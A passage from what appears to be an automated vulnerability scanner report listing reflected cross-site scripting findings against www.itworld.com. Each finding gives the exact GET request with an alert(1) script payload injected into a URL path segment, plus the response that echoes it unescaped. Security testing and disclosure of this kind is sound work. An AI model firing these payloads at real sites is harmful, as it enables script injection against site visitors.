X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460389"
Content-Type: text/html; charset=utf-8
Content-Length: 57690
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:31 GMT
X-Varnish: 1038162281
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/8a76e"><script>alert(1)</script>2540f77ede3?h"/>
...[SNIP]...

1.254. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cf93"><script>alert(1)</script>2d7a97a3fa2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites8cf93"><script>alert(1)</script>2d7a97a3fa2/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460006"
Content-Type: text/html; charset=utf-8
Content-Length: 57784
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:27 GMT
X-Varnish: 1959722671
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites8cf93"><script>alert(1)</script>2d7a97a3fa2/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js?h"/>
...[SNIP]...

1.255. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b566"-alert(1)-"4dc9ee53422 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites5b566"-alert(1)-"4dc9ee53422/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460043"
Content-Type: text/html; charset=utf-8
Content-Length: 57563
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:52 GMT
X-Varnish: 1959723727
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites5b566"-alert(1)-"4dc9ee53422/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We co
...[SNIP]...

1.256. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 567c2"><script>alert(1)</script>78111623821 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib567c2"><script>alert(1)</script>78111623821/jquery_ui/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57784
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:31 GMT
X-Varnish: 252446264
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib567c2"><script>alert(1)</script>78111623821/jquery_ui/jquery.ui/ui/ui.tabs.js?h"/>
...[SNIP]...

1.257. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3982"-alert(1)-"5e6c855295f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contriba3982"-alert(1)-"5e6c855295f/jquery_ui/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460172"
Content-Type: text/html; charset=utf-8
Content-Length: 57563
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:00 GMT
X-Varnish: 252446753
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contriba3982"-alert(1)-"5e6c855295f/jquery_ui/jquery.ui/ui/ui.tabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page
...[SNIP]...

1.258. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38c94"-alert(1)-"6fbe5323034 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui38c94"-alert(1)-"6fbe5323034/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460234"
Content-Type: text/html; charset=utf-8
Content-Length: 57569
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:55 GMT
X-Varnish: 252448199
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui38c94"-alert(1)-"6fbe5323034/jquery.ui/ui/ui.tabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reque
...[SNIP]...

1.259. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 207cf"><script>alert(1)</script>828e6e47a88 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui207cf"><script>alert(1)</script>828e6e47a88/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460202"
Content-Type: text/html; charset=utf-8
Content-Length: 57790
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:40 GMT
X-Varnish: 252447308
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui207cf"><script>alert(1)</script>828e6e47a88/jquery.ui/ui/ui.tabs.js?h"/>
...[SNIP]...

1.260. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9d70"-alert(1)-"10651b69599 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/uib9d70"-alert(1)-"10651b69599/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:37 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460337"
Content-Type: text/html; charset=utf-8
Content-Length: 57569
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:39 GMT
X-Varnish: 1038160714
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/uib9d70"-alert(1)-"10651b69599/ui.tabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVa
...[SNIP]...

1.261. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd546"-alert(1)-"62ad2d5941e was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.jscd546"-alert(1)-"62ad2d5941e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460366"
Content-Type: text/html; charset=utf-8
Content-Length: 57568
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:07 GMT
X-Varnish: 1038161629
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.jscd546"-alert(1)-"62ad2d5941e";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.262. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c03e8"><script>alert(1)</script>b954972c526 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.jsc03e8"><script>alert(1)</script>b954972c526?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460358"
Content-Type: text/html; charset=utf-8
Content-Length: 57789
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:02 GMT
X-Varnish: 1038161403
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.jsc03e8"><script>alert(1)</script>b954972c526?h"/>
...[SNIP]...

1.263. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5cf25"-alert(1)-"628375fda89 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules5cf25"-alert(1)-"628375fda89/contrib/jquery_update/replace/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460201"
Content-Type: text/html; charset=utf-8
Content-Length: 57596
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:26 GMT
X-Varnish: 252447296
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules5cf25"-alert(1)-"628375fda89/contrib/jquery_update/replace/jquery.form.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't fi
...[SNIP]...

1.264. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9aafd"><script>alert(1)</script>d5a3685af63 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules9aafd"><script>alert(1)</script>d5a3685af63/contrib/jquery_update/replace/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460161"
Content-Type: text/html; charset=utf-8
Content-Length: 57810
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:11 GMT
X-Varnish: 252446505
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules9aafd"><script>alert(1)</script>d5a3685af63/contrib/jquery_update/replace/jquery.form.js?h"/>
...[SNIP]...

1.265. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcc74"-alert(1)-"f35ccd370cd was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_updatebcc74"-alert(1)-"f35ccd370cd/replace/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:07 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460307"
